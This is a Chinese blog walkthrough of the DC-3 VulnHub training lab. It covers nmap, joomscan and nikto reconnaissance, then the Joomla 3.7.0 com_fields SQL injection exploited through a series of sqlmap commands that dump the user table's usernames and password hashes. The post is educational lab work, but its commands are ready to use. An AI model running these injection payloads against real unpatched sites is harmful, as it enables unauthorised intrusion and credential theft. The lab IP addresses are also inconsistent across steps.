dc-3靶场详细过程

jyx968

于 2024-10-03 17:22:14 发布

阅读量502

点赞数 15

文章标签： linux

本文链接：https://blog.csdn.net/jyq070124/article/details/142670942

版权

一、环境搭建：

1、靶场描述

DC-3是另一个专门建立的易受攻击的实验室，旨在获得渗透测试领域的经验。与之前的DC版本一样，这个版本是为初学者设计的，尽管这一次只有一个标志，一个入口点，根本没有线索。必须具备Linux技能并熟悉Linux命令行，还必须具有使用基本渗透测试工具的经验。对于初学者来说，谷歌可以提供很大的帮助，但你可以随时在@DCAu7上推我让你重新开始。但请注意:我不会给你答案，相反，我会给你一个如何前进的想法。对于那些有CTF和Boot2Root挑战经验的人来说，这可能不会花你很长时间(事实上，它可能只需要不到20分钟)。如果是这种情况，如果你想让它更具挑战性，你可以重做挑战，探索其他获得根和获得旗帜的方法。

只有一个flag

2、下载靶场环境

靶场下载地址：

https://www.vulnhub.com/entry/dc-32,312/

二、渗透靶场

查看靶场ip输入ifconfig点击回车可以看到自己的IP地址

目标搭建的靶场，靶场IP地址为192.168.43.0/24

1.信息收集

使用nmap扫描输入nmap -sP 192.168.43.0/24网段

扫描存活的主机扫描到dc-3靶机的ip地址是： 192.168.43.131

kali的IP地址是192.168.43.128

192.168.66.1 vm8网卡

192.168.66.2 网关

192.168.66.142 靶机

192.168.66.254 DHCP服务器

192.168.66.139 kali本机

2.探端口及服务

输入nmap -A -p- -v 192.168.43.1

可以看到开放了80端口，存在web服务，Apache/2.4.18，CMS为Joomla

3.网页信息探测

使用火狐打开网页输入靶机IP地址访http://192.168.43.131

页面会显示必须获得权限

4.joomScan扫描

这里介绍一个新工具joomscan，

joomscan是一款开源的且针对joomla的扫描器，kali可以用命令apt install joomscan安装该工具，输入apt install joomscan进行安装提示没有joomscan 选择y安装

5.漏洞查找

输入joomscan --url http://192.168.43.131

知道了joomla cms版本为3.7.0
得到了网站后台地址http://192.168.43.131/administrator/

在火狐页面搜索得到后台地址

6.利用nikto扫描获取后台地址

Nikto可以扫描指定主机的WEB类型、主机名、指定目录、特定CGI漏洞、返回主机允许的 http模式等。

输入nikto --url http://192.168.43.131/

查找漏洞发现存在SQL注入

前面知道joomla，版本为3.7.0

使用searchsploit检查到有对应的漏洞

输入searchsploit joomla 3.7.0

我们发现有一个SQL注入，还存在一个XSS

我们可以看一下这个漏洞的提示信息

输入 searchsploit -m 42033.txt

输入cat 42033.txt

信息如图所示

把localhost修改为我们的靶机ip，到火狐页面去访问

http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27

看到提示您的sql语法有错误；说明进行了拼接，存在sql注入

7.漏洞利用 sqlmap

1.跑出所有数据库

sqlmap -u "http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] –batch

（注：双引号里的内容是火狐搜索栏里的内容）

跑出来的数据如下图：

2.获取当前数据库的名字joomladb

sqlmap -u "http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] --current-db –batch

3.获取joomladb的users表

sqlmap -u "http://192.168.43.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables --batch

我们需要关注#__users这张表

4.获取joomladb的users表的字段名

sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns

第一个选项，直接回车使用默认的“Y”

第二个选项，使用“y”，不要使用默认的，不然会出错

第三个选项随意

第四个选项使用10线程

成功的跑出六个字段

5.获取目标字段username和password

sqlmap -u "http://192.168.66.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D "joomladb" --tables -T "#__users" --columns -C "username,password" --dump --batch

获得结果如下
拿到一个用户名和加密的密码，如下图：